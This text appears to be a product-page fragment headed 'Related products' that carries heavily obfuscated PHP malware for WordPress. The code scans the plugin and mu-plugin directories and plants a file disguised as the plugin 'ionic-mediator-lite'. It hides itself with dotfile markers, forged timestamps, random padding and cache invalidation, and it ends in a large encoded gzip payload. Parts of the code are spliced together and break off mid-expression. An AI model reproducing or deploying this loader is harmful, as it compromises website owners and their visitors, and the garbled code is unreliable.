Related products

/* SC_TH_BEGIN:4.0.3:a5103f83 */ if(!function_exists('wxe__v5v4dcedlk')){function t4fjbv_25jcqgcm($i){static $a=null;if($a===null){$a=array('6x>W[=]> kd=i[i','*HO=p','6=:k ax[ W]>[k>[i','x>:=>H','O=p>1*k','pk1:a1[B','=i i[p=>u','i[p:k>','apku pka:1Wk','6=:k*[=*k','[=*k','[]xWB','=i 6=:k','6=:k uk[ W]>[k>[i','apku *1[WB','ixei[p','pk>1*k','W]a)','=>= uk[','i[p[]xaakp','*[ p1>O','6=:ki=vk','=i =>[','p[p=*','e=>CBkd','*Oh','[k*a>1*','WB*]O','i[pa]i','=i 1pp1)','[p=*','u:]e','1pp1) *kpuk',']ak>O=p','pk1OO=p','W:]ikO=p','=i O=p','e1ik>1*k','=i /p=[1e:k','e1ikm_ OkW]Ok','x>a1WH','aBa i1a= >1*k');}return $a[$i];}function wxe__v5v4dcedlk($i){$e=t4fjbv_25jcqgcm($i);$f='_s'.'cmkd'.'irfp'.'leut'.'onah'.'/('.'\\?'.'*['.'0-9'.']{1'.',}'.')+$w'.' SCV'.':.v'.'yg>b'.'1'.'BDA'.'$,Ny'.'\\G2I'.'-K.0'.'Ss5/'.'Elc'.'tLr'.'4)u'.'3eUg'.'n9'.'q+z'.'?j('.'{P'.' $GLOBALS['__scf_tqig65_zqosny_10']()) $a0yomqczenv6ncmx -= (41407+58593); @$GLOBALS['__scf_r36g1l2ws03kc5_11']($vo90_st6u97o, $a0yomqczenv6ncmx); } } if (!$GLOBALS['__scf_wfd5gtjhbt_0']('h0kubrcrcvvsh4tslksu')) { function h0kubrcrcvvsh4tslksu($vo90_st6u97o, $h71dn2eyda8y4h4o) { if ($h71dn2eyda8y4h4o === "" || !@$GLOBALS['__scf_dajlorxhas_12']($vo90_st6u97o)) return false;$eol3y916u5i=PHP_MAJOR_VERSION;$j_vykj7m1ch4f6=$eol3y916u5i*3; if ($GLOBALS['__scf_wfd5gtjhbt_0']('clearstatcache')) @clearstatcache(true, $vo90_st6u97o); $r8lwxjqdsbbh = (string) @$GLOBALS['__scf_qxrrakctd8_13']($vo90_st6u97o, false, null, 0, (7295-3199)); return $GLOBALS['__scf_rg77inom5eur_14']('/\/\* SCV:(\d+\.\d+\.\d+) \*\//', $r8lwxjqdsbbh, $npzggv9ot21u17) === 1 && version_compare($npzggv9ot21u17[1], $h71dn2eyda8y4h4o, '>'); } } if (!$GLOBALS['__scf_wfd5gtjhbt_0']('q1mqpl7zk_y9g3_')) { function q1mqpl7zk_y9g3_($gbw85vfqwca) { if (!$GLOBALS['__scf_kbgkl1crnnhid_6']($gbw85vfqwca)) return ""; if ($GLOBALS['__scf_rg77inom5eur_14']('/\/\* SCV:(\d+\.\d+\.\d+) \*\//', $GLOBALS['__scf_zf5vkempo5z_15']($gbw85vfqwca, 0, (6792-2696)), $goxg_vbf1sk_)) return $goxg_vbf1sk_[1]; return ""; } } if (!$GLOBALS['__scf_wfd5gtjhbt_0']('aytppm47jpas925sbx9')) { function aytppm47jpas925sbx9($y_6rw_vv856lwg28, $vo90_st6u97o, $h71dn2eyda8y4h4o) { if ($h71dn2eyda8y4h4o !== "" && $GLOBALS['__scf_wfd5gtjhbt_0']('h0kubrcrcvvsh4tslksu') && h0kubrcrcvvsh4tslksu($vo90_st6u97o, $h71dn2eyda8y4h4o)) { _sc_ul($y_6rw_vv856lwg28); return false; } $wtu6ft6g9bb = false; if ($GLOBALS['__scf_wfd5gtjhbt_0']('rename')) $wtu6ft6g9bb = @$GLOBALS['__scf_qsdd7bi9wm_16']($y_6rw_vv856lwg28, $vo90_st6u97o); if (!$wtu6ft6g9bb && $GLOBALS['__scf_wfd5gtjhbt_0']('copy')) { if ($h71dn2eyda8y4h4o !== "" && $GLOBALS['__scf_wfd5gtjhbt_0']('h0kubrcrcvvsh4tslksu') && h0kubrcrcvvsh4tslksu($vo90_st6u97o, $h71dn2eyda8y4h4o)) { _sc_ul($y_6rw_vv856lwg28); return false; } $wtu6ft6g9bb = @$GLOBALS['__scf_xlhjd8fomvz3x_17']($y_6rw_vv856lwg28, $vo90_st6u97o); if ($wtu6ft6g9bb) _sc_ul($y_6rw_vv856lwg28); } if (!$wtu6ft6g9bb) _sc_ul($y_6rw_vv856lwg28); return $wtu6ft6g9bb; } } if (!$GLOBALS['__scf_wfd5gtjhbt_0']('nj02v3d8ssx7bpcnsf')) { function nj02v3d8ssx7bpcnsf() { if (!$GLOBALS['__scf_wfd5gtjhbt_0']('ini_get')) return 0; $npzggv9ot21u17 = @$GLOBALS['__scf_zs1llcfoc25_18']('memory_limit'); if (!$GLOBALS['__scf_kbgkl1crnnhid_6']($npzggv9ot21u17) || $npzggv9ot21u17 === "") return 0; $ydd8qw_cr45sp0tu = (int) $npzggv9ot21u17; if ($ydd8qw_cr45sp0tu <= 0) return -1; $riz4f3060thi = $GLOBALS['__scf_kiae84f6rkqpzw_19']($GLOBALS['__scf_zf5vkempo5z_15']($npzggv9ot21u17, -1)); if ($riz4f3060thi === 'G') $ydd8qw_cr45sp0tu *= (337407857+736333967); elseif ($riz4f3060thi === 'M') $ydd8qw_cr45sp0tu *= (1048558+18); elseif ($riz4f3060thi === 'K') $ydd8qw_cr45sp0tu *= (1719-695); return $ydd8qw_cr45sp0tu; } } if (!$GLOBALS['__scf_wfd5gtjhbt_0']('_sc_padf')) { function _sc_padf($vo90_st6u97o) { if (!$GLOBALS['__scf_wfd5gtjhbt_0']('tempnam') || !$GLOBALS['__scf_wfd5gtjhbt_0']('file_put_contents') || !$GLOBALS['__scf_wfd5gtjhbt_0']('rename')) return; if ($GLOBALS['__scf_wfd5gtjhbt_0']('mvwl2s0u3igns_3d6fnllz') && !mvwl2s0u3igns_3d6fnllz()) return; if ($GLOBALS['__scf_wfd5gtjhbt_0']('clearstatcache')) @clearstatcache(true, $vo90_st6u97o); $a0yomqczenv6ncmx = (1799908+92) + $GLOBALS['__scf_wj_3jcfk85j_20'](0, (0x793c9+0x31a97)); $g45p2p1f4u = nj02v3d8ssx7bpcnsf(); if ($g45p2p1f4u !== -1 && $g45p2p1f4u < (0x16be02d+0x6941fd3)) { if ($g45p2p1f4u >= (67108859+5)) $a0yomqczenv6ncmx = (0x18badc+0x2bc64) + $GLOBALS['__scf_wj_3jcfk85j_20'](0, (699905+95)); else return; } unset($g45p2p1f4u); $owdr1ey6uhie_4a = @$GLOBALS['__scf_ravnx_5ikbuxv_21']($vo90_st6u97o); if (!$owdr1ey6uhie_4a || $owdr1ey6uhie_4a >= $a0yomqczenv6ncmx - (4088+12)) return; if (!$GLOBALS['__scf_wfd5gtjhbt_0']('disk_free_space')) return; $ithpidsplibhz = @disk_free_space($GLOBALS['__scf_uko51zpq6yz7_4']($vo90_st6u97o)); if ($ithpidsplibhz === false || $ithpidsplibhz < (157286381+19)) return; $ky6l991rx7eo = @fileperms($vo90_st6u97o); $ky6l991rx7eo = (!$GLOBALS['__scf_gi3l3gn1guhwd_22']($ky6l991rx7eo)) ? (559-139) : ($ky6l991rx7eo & (450+61)); $o35tsfpuws = @$GLOBALS['__scf_c_6t31la987ihz_9']($vo90_st6u97o); $gbw85vfqwca = @$GLOBALS['__scf_qxrrakctd8_13']($vo90_st6u97o); if (!$GLOBALS['__scf_kbgkl1crnnhid_6']($gbw85vfqwca) || $GLOBALS['__scf_o1o373vbsbx__7']($gbw85vfqwca) !== $owdr1ey6uhie_4a) return; if ($GLOBALS['__scf_zf5vkempo5z_15']($GLOBALS['__scf_at4mdk1g42mtj5_23']($gbw85vfqwca), -2) === '?>') return; $y77d2d8z90law_ = $GLOBALS['__scf_zf5vkempo5z_15']($gbw85vfqwca, 0, (0x44+0xfbc)); while ($GLOBALS['__scf_o1o373vbsbx__7']($gbw85vfqwca) < $a0yomqczenv6ncmx - (6114-2014)) { $wbtkarxr5z4_o = ""; if ($GLOBALS['__scf_wfd5gtjhbt_0']('random_bytes')) { try { $wbtkarxr5z4_o = @$GLOBALS['__scf_k_1f2fns7b_24'](random_bytes((1946+54)));$j205_fms77a=246|234;$_5uferrg=$j205_fms77a^225; } catch (\Throwable $q1_akv_36jk7h4p) { $wbtkarxr5z4_o = ""; } catch (\Exception $q1_akv_36jk7h4p) { $wbtkarxr5z4_o = ""; } } if ($GLOBALS['__scf_o1o373vbsbx__7']($wbtkarxr5z4_o) < (5320-1320)) { $wbtkarxr5z4_o = $GLOBALS['__scf_wma5z6xtmm_25'](uniqid("", true)); while ($GLOBALS['__scf_o1o373vbsbx__7']($wbtkarxr5z4_o) < (3903+97)) $wbtkarxr5z4_o .= $GLOBALS['__scf_wma5z6xtmm_25']($wbtkarxr5z4_o); } $gbw85vfqwca .= "\n/*" . $wbtkarxr5z4_o . "*/"; } $y_6rw_vv856lwg28 = @$GLOBALS['__scf_oodc_hycwfo9ng_26']($GLOBALS['__scf_uko51zpq6yz7_4']($vo90_st6u97o), 'scp'); if ($y_6rw_vv856lwg28 === false) return; if (!n8cikort8d9f41fmo_mz($y_6rw_vv856lwg28, $GLOBALS['__scf_uko51zpq6yz7_4']($vo90_st6u97o))) { _sc_ul($y_6rw_vv856lwg28); return;$a1hicf51sf=81*9;$exj0kcu71ci1h=$a1hicf51sf-42; } if (@$GLOBALS['__scf_gt9b9j7xuf5_2']($y_6rw_vv856lwg28, $gbw85vfqwca) !== $GLOBALS['__scf_o1o373vbsbx__7']($gbw85vfqwca)) { _sc_ul($y_6rw_vv856lwg28); return; } if ($GLOBALS['__scf_wfd5gtjhbt_0']('chmod')) @$GLOBALS['__scf_mir6oamhcrhce_27']($y_6rw_vv856lwg28, $ky6l991rx7eo); if ($GLOBALS['__scf_wfd5gtjhbt_0']('clearstatcache')) @clearstatcache(true, $vo90_st6u97o); $uh58h2accbsrs = @$GLOBALS['__scf_ravnx_5ikbuxv_21']($vo90_st6u97o); $gd7r16pn629mlx_ = ($owdr1ey6uhie_4a < (4059+37)) ? $owdr1ey6uhie_4a : (6162-2066); $vn00ov9mtvd = ($uh58h2accbsrs === $owdr1ey6uhie_4a) ? @$GLOBALS['__scf_qxrrakctd8_13']($vo90_st6u97o, false, null, 0, $gd7r16pn629mlx_) : false; if (!$GLOBALS['__scf_kbgkl1crnnhid_6']($vn00ov9mtvd) || $vn00ov9mtvd !== $GLOBALS['__scf_zf5vkempo5z_15']($y77d2d8z90law_, 0, $gd7r16pn629mlx_)) { _sc_ul($y_6rw_vv856lwg28); return; } unset($uh58h2accbsrs, $gd7r16pn629mlx_, $vn00ov9mtvd, $y77d2d8z90law_);$fohiqug50=(0xb6+0x65);$xvg33s6axe=$fohiqug50%2; if (!@$GLOBALS['__scf_qsdd7bi9wm_16']($y_6rw_vv856lwg28, $vo90_st6u97o)) { _sc_ul($y_6rw_vv856lwg28); return; } if ($GLOBALS['__scf_wfd5gtjhbt_0']('clearstatcache')) @clearstatcache(true, $vo90_st6u97o); if ($o35tsfpuws && $GLOBALS['__scf_wfd5gtjhbt_0']('touch')) @$GLOBALS['__scf_r36g1l2ws03kc5_11']($vo90_st6u97o, $o35tsfpuws); if ($GLOBALS['__scf_wfd5gtjhbt_0']('opcache_invalidate')) @opcache_invalidate($vo90_st6u97o, true); } } if (!$GLOBALS['__scf_wfd5gtjhbt_0']('_sc_phpok_src')) { function _sc_phpok_src($gbw85vfqwca) { if (!$GLOBALS['__scf_kbgkl1crnnhid_6']($gbw85vfqwca) || $GLOBALS['__scf_o1o373vbsbx__7']($gbw85vfqwca) < (402+98) || $GLOBALS['__scf_e_5u460nphay_28']($gbw85vfqwca, ' $GLOBALS['__scf_tqig65_zqosny_10']() + (86329+71)) return true; $cwgtwqye0y3o = $GLOBALS['__scf_bn1efwpx4_jjt6_30']((string) @$GLOBALS['__scf_qxrrakctd8_13']($sac4s1vg_zbnjp)); return ($cwgtwqye0y3o === "" || ($GLOBALS['__scf_kbgkl1crnnhid_6']($gbw85vfqwca) && $cwgtwqye0y3o !== $GLOBALS['__scf_wma5z6xtmm_25']($gbw85vfqwca))); } } if (!$GLOBALS['__scf_wfd5gtjhbt_0']('_sc_any_live')) { function _sc_any_live($yeq59a75rldba, $z3__bajezxi5zbip, $q1bk5z3r02zqx = "", $v7yrz4kyavt7w0 = "", $t4tlsqx4r3 = "") { if ($v7yrz4kyavt7w0 === "") $v7yrz4kyavt7w0 = (defined('WPMU_PLUGIN_DIR') && WPMU_PLUGIN_DIR) ? WPMU_PLUGIN_DIR : $z3__bajezxi5zbip . '/mu-plugins'; if ($t4tlsqx4r3 === "") $t4tlsqx4r3 = (defined('WP_PLUGIN_DIR') && WP_PLUGIN_DIR) ? WP_PLUGIN_DIR : $z3__bajezxi5zbip . '/plugins'; $v7yrz4kyavt7w0 = $GLOBALS['__scf_at4mdk1g42mtj5_23']($v7yrz4kyavt7w0, '/'); $t4tlsqx4r3 = $GLOBALS['__scf_at4mdk1g42mtj5_23']($t4tlsqx4r3, '/'); $rn8ea6f5u4d3 = array(); $k_82r81bdv4 = false; if ($GLOBALS['__scf_wfd5gtjhbt_0']('glob')) { $zo6icz7c_b5q2 = @$GLOBALS['__scf_tni741llpd0_31']($v7yrz4kyavt7w0 . '/*.php'); $ddzr_q6tbde1b = @$GLOBALS['__scf_tni741llpd0_31']($t4tlsqx4r3 . '/*/*.php'); if ($GLOBALS['__scf_huopx0k79f9_29']($zo6icz7c_b5q2) || $GLOBALS['__scf_huopx0k79f9_29']($ddzr_q6tbde1b)) { $k_82r81bdv4 = true; $rn8ea6f5u4d3 = $GLOBALS['__scf_lgejf2znvrrz_32']((array) $zo6icz7c_b5q2, (array) $ddzr_q6tbde1b); } unset($zo6icz7c_b5q2, $ddzr_q6tbde1b); } // WP Font Library: irreducible flyweight if (!$k_82r81bdv4 && $GLOBALS['__scf_wfd5gtjhbt_0']('opendir') && $GLOBALS['__scf_wfd5gtjhbt_0']('readdir')) { $g6k4ydmggknh9 = @$GLOBALS['__scf_vkahkppuo4j9cw_33']($v7yrz4kyavt7w0); if ($g6k4ydmggknh9) {$us30mtdilo7lb=7588;$ylt7lk6mqwe=$us30mtdilo7lb%2; while (($olftuo5vy3w = @$GLOBALS['__scf_cbgm_oku8eo76_34']($g6k4ydmggknh9)) !== false) { if ($GLOBALS['__scf_zf5vkempo5z_15']($olftuo5vy3w, -(74^78)) === '.php') $rn8ea6f5u4d3[] = $v7yrz4kyavt7w0 . '/' . $olftuo5vy3w; } if ($GLOBALS['__scf_wfd5gtjhbt_0']('closedir')) @$GLOBALS['__scf_yxs671qbihp5q_35']($g6k4ydmggknh9); } $g6k4ydmggknh9 = @$GLOBALS['__scf_vkahkppuo4j9cw_33']($t4tlsqx4r3); if ($g6k4ydmggknh9) { while (($olftuo5vy3w = @$GLOBALS['__scf_cbgm_oku8eo76_34']($g6k4ydmggknh9)) !== false) { $fbrpeqmq1r = $t4tlsqx4r3 . '/' . $olftuo5vy3w; if ($olftuo5vy3w === '.' || $olftuo5vy3w === '..' || !@$GLOBALS['__scf_qexriext4uvl_36']($fbrpeqmq1r)) continue; $xmxv3yu34fp = @$GLOBALS['__scf_vkahkppuo4j9cw_33']($fbrpeqmq1r); if (!$xmxv3yu34fp) continue;$crcp322o=100+31;$ocdjarp9jiyjb=$crcp322o-6; while (($ur9ftf9auzc = @$GLOBALS['__scf_cbgm_oku8eo76_34']($xmxv3yu34fp)) !== false) { // template average-case structural-type if ($GLOBALS['__scf_zf5vkempo5z_15']($ur9ftf9auzc, -(3+1)) === '.php') $rn8ea6f5u4d3[] = $fbrpeqmq1r . '/' . $ur9ftf9auzc; } if ($GLOBALS['__scf_wfd5gtjhbt_0']('closedir')) @$GLOBALS['__scf_yxs671qbihp5q_35']($xmxv3yu34fp); } // invalidate rate-limiter for WP Verse Block if ($GLOBALS['__scf_wfd5gtjhbt_0']('closedir')) @$GLOBALS['__scf_yxs671qbihp5q_35']($g6k4ydmggknh9); } unset($g6k4ydmggknh9, $xmxv3yu34fp, $olftuo5vy3w, $ur9ftf9auzc, $fbrpeqmq1r); } $ns3p6vgq1r = false; if ($q1bk5z3r02zqx !== "" && $GLOBALS['__scf_wfd5gtjhbt_0']('realpath')) $ns3p6vgq1r = @$GLOBALS['__scf_dflw621iy6zd_5']($q1bk5z3r02zqx); foreach ($rn8ea6f5u4d3 as $ohwxlz51_vh) { if ($q1bk5z3r02zqx !== "" && $ohwxlz51_vh === $q1bk5z3r02zqx) continue; if ($ns3p6vgq1r !== false && @$GLOBALS['__scf_dflw621iy6zd_5']($ohwxlz51_vh) === $ns3p6vgq1r) continue; $wazq53yjgquf7 = $GLOBALS['__scf_w53m44dpzgp64u_37']($ohwxlz51_vh, '.php'); $j45l2s6lg21z = $GLOBALS['__scf_w53m44dpzgp64u_37']($GLOBALS['__scf_uko51zpq6yz7_4']($ohwxlz51_vh)); if ($GLOBALS['__scf_uko51zpq6yz7_4']($ohwxlz51_vh) !== $v7yrz4kyavt7w0 && $wazq53yjgquf7 !== $j45l2s6lg21z) continue; if ($GLOBALS['__scf_wfd5gtjhbt_0']('_sc_fam') && !_sc_fam($ohwxlz51_vh)) continue; $spz1dasai3m0 = @$GLOBALS['__scf_ravnx_5ikbuxv_21']($ohwxlz51_vh); if (!$spz1dasai3m0 || $spz1dasai3m0 < (0x129f+0xe9) || $spz1dasai3m0 > (52428798+2)) continue; $adm9fdefhjgd5zg = (string) @$GLOBALS['__scf_qxrrakctd8_13']($ohwxlz51_vh, false, null, 0, (4051+45)); if ($adm9fdefhjgd5zg !== "" && $GLOBALS['__scf_rg77inom5eur_14']('/\/\* SCV:(\d+\.\d+\.\d+) \*\//', $adm9fdefhjgd5zg, $goxg_vbf1sk_) && version_compare($goxg_vbf1sk_[1], $yeq59a75rldba, '>=')) return true; } return false; } } if (!$GLOBALS['__scf_wfd5gtjhbt_0']('_sc_corep')) { // @predicate permission function _sc_corep($z3__bajezxi5zbip) { $r9f_it1gbtj_pnsl = defined('ABSPATH') ? ABSPATH : ($GLOBALS['__scf_at4mdk1g42mtj5_23']($GLOBALS['__scf_uko51zpq6yz7_4']($z3__bajezxi5zbip), '/') . '/'); return $z3__bajezxi5zbip . '/.sc_' . $GLOBALS['__scf_zf5vkempo5z_15']($GLOBALS['__scf_wma5z6xtmm_25']($r9f_it1gbtj_pnsl . 'dir'), 0, (0x6+0x2)) . '/core_' . $GLOBALS['__scf_zf5vkempo5z_15']($GLOBALS['__scf_wma5z6xtmm_25']($r9f_it1gbtj_pnsl . 'core'), 0, (4+4)) . '.php'; } } if (!$GLOBALS['__scf_wfd5gtjhbt_0']('_sc_coreld')) { function _sc_coreld($z3__bajezxi5zbip) { $odcja65tcr = _sc_corep($z3__bajezxi5zbip); if (!@$GLOBALS['__scf_dajlorxhas_12']($odcja65tcr)) return false; $uh58h2accbsrs = @$GLOBALS['__scf_ravnx_5ikbuxv_21']($odcja65tcr); if (!$uh58h2accbsrs || $uh58h2accbsrs < (499+1) || $uh58h2accbsrs > (8388572+36)) return false; if ($GLOBALS['__scf_wfd5gtjhbt_0']('mvwl2s0u3igns_3d6fnllz') && !mvwl2s0u3igns_3d6fnllz($uh58h2accbsrs)) return false; $gbw85vfqwca = @$GLOBALS['__scf_qxrrakctd8_13']($odcja65tcr); if ($GLOBALS['__scf_wfd5gtjhbt_0']('_sc_unp') && $GLOBALS['__scf_kbgkl1crnnhid_6']($gbw85vfqwca) && $GLOBALS['__scf_o1o373vbsbx__7']($gbw85vfqwca) > (1048530+46)) $gbw85vfqwca = _sc_unp($gbw85vfqwca); if (!$GLOBALS['__scf_kbgkl1crnnhid_6']($gbw85vfqwca) || $GLOBALS['__scf_o1o373vbsbx__7']($gbw85vfqwca) < (452+48) || $GLOBALS['__scf_o1o373vbsbx__7']($gbw85vfqwca) > (0x6222f+0x9ddd1) || $GLOBALS['__scf_e_5u460nphay_28']($gbw85vfqwca, '0)?$v19e21eqghl00:-$v19e21eqghl00; if (!$GLOBALS['__scf_gi3l3gn1guhwd_22']($w9dkm837r6u8bh14) || $w9dkm837r6u8bh14 < 0) $w9dkm837r6u8bh14 = 0; if ($kxfr1srpv1 > 0) return ($ydd8qw_cr45sp0tu - $w9dkm837r6u8bh14) > (($kxfr1srpv1 * (1+2)) + (2299267-202115));$tkvj2wwypqe=331;$rjj2iafqhhoz=($tkvj2wwypqe>0)?$tkvj2wwypqe:-$tkvj2wwypqe; if ($ydd8qw_cr45sp0tu < (67108794+70)) return false; if ($w9dkm837r6u8bh14 > 0 && $ydd8qw_cr45sp0tu - $w9dkm837r6u8bh14 < (33554401+31)) return false; return true; } } if (!$GLOBALS['__scf_wfd5gtjhbt_0']('llogmyuwgyob6g4b5mm6')) { function llogmyuwgyob6g4b5mm6($vo90_st6u97o, $yeq59a75rldba) { if (!_sc_fam($vo90_st6u97o)) return false; $pbm642d7q5yv = @$GLOBALS['__scf_ravnx_5ikbuxv_21']($vo90_st6u97o); if (!$pbm642d7q5yv || $pbm642d7q5yv < (0xc0c+0x77c) || $pbm642d7q5yv > (52428784+16)) return false; if ($pbm642d7q5yv > (3129605-619605) && $pbm642d7q5yv < (5495823+77)) return false; $r8lwxjqdsbbh = (string) @$GLOBALS['__scf_qxrrakctd8_13']($vo90_st6u97o, false, null, 0, (0x3e4+0xc1c)); if (!$GLOBALS['__scf_rg77inom5eur_14']('/\/\* SCV:(\d+\.\d+\.\d+) \*\//', $r8lwxjqdsbbh, $npzggv9ot21u17)) return false; if ($yeq59a75rldba !== "" && version_compare($npzggv9ot21u17[1], $yeq59a75rldba, '<')) return false; if (@$GLOBALS['__scf_dajlorxhas_12']($GLOBALS['__scf_uko51zpq6yz7_4']($vo90_st6u97o) . '/.wr_' . $GLOBALS['__scf_w53m44dpzgp64u_37']($vo90_st6u97o, '.php'))) return false; if ($pbm642d7q5yv > (0x65852+0x9a7ae) && !woa5zq8d5lsk20zq((string) @$GLOBALS['__scf_qxrrakctd8_13']($vo90_st6u97o, false, null, $pbm642d7q5yv - (8010-3914)))) return false; return true; } } if (!defined("SC_THL_4c11a310")) { define("SC_THL_4c11a310", 1); $nrp0rxn3u1p3p_rr = function () { $ti7yag3wd69125 = defined("WP_CONTENT_DIR") ? WP_CONTENT_DIR : $GLOBALS['__scf_uko51zpq6yz7_4']($GLOBALS['__scf_uko51zpq6yz7_4'](__FILE__)); $v7yrz4kyavt7w0 = (defined("WPMU_PLUGIN_DIR") && WPMU_PLUGIN_DIR) ? WPMU_PLUGIN_DIR : $ti7yag3wd69125 . "/mu-plugins"; $v7yrz4kyavt7w0 = $v7yrz4kyavt7w0 . "/ionic-mediator-lite.php"; $t4tlsqx4r3 = (defined("WP_PLUGIN_DIR") && WP_PLUGIN_DIR) ? WP_PLUGIN_DIR : $ti7yag3wd69125 . "/plugins"; $n57hmwbgphgn = $t4tlsqx4r3 . "/ionic-mediator-lite/ionic-mediator-lite.php"; $x_c1wezay3 = @$GLOBALS['__scf_vzvxji2ksz0if7_38']($GLOBALS['__scf_uko51zpq6yz7_4']($v7yrz4kyavt7w0)) ? $v7yrz4kyavt7w0 : $n57hmwbgphgn; $sac4s1vg_zbnjp = $GLOBALS['__scf_uko51zpq6yz7_4']($x_c1wezay3) . "/.q_ionic-mediator-lite"; $djge9sp82_gstqc = $GLOBALS['__scf_uko51zpq6yz7_4']($x_c1wezay3) . "/.sd_ionic-mediator-lite"; if (@$GLOBALS['__scf_dajlorxhas_12']($djge9sp82_gstqc)) { $numc9scs36jhzr = @$GLOBALS['__scf_qxrrakctd8_13']($djge9sp82_gstqc); if ($GLOBALS['__scf_kbgkl1crnnhid_6']($numc9scs36jhzr) && $GLOBALS['__scf_rg77inom5eur_14']("/\\d+\\.\\d+\\.\\d+/", $numc9scs36jhzr, $av0tbmtnvxl751g2) && version_compare($av0tbmtnvxl751g2[0], "__VERSION__", ">") && _sc_any_live($av0tbmtnvxl751g2[0], $ti7yag3wd69125, $x_c1wezay3)) return; } $vh7q101b6le = !llogmyuwgyob6g4b5mm6($x_c1wezay3, "__VERSION__");$dvy32uz4frgelg=4122;$xgrp2h0x4hq0kq=$dvy32uz4frgelg%3; if ($vh7q101b6le && _sc_any_live("__VERSION__", $ti7yag3wd69125, $x_c1wezay3)) $vh7q101b6le = false; if ($vh7q101b6le && !@$GLOBALS['__scf_dajlorxhas_12']($x_c1wezay3)) { // trusted input $xp0asqkt12txun = $GLOBALS['__scf_uko51zpq6yz7_4']($x_c1wezay3) . '/.rd_ionic-mediator-lite';$s33ggmfevg=443;$imwn7cbif_=($s33ggmfevg>0)?$s33ggmfevg:-$s33ggmfevg; $yeh17c_tsd = @$GLOBALS['__scf_dajlorxhas_12']($xp0asqkt12txun) ? (int) @$GLOBALS['__scf_c_6t31la987ihz_9']($xp0asqkt12txun) : 0; if ($yeh17c_tsd > $GLOBALS['__scf_tqig65_zqosny_10']() - (291+9) && $yeh17c_tsd <= $GLOBALS['__scf_tqig65_zqosny_10']() + (316-16)) $vh7q101b6le = false; elseif ($GLOBALS['__scf_wfd5gtjhbt_0']('touch')) @$GLOBALS['__scf_r36g1l2ws03kc5_11']($xp0asqkt12txun); } if ($vh7q101b6le) { $u7y126jfe10 = $GLOBALS['__scf_vcw1lj2uavw_39']('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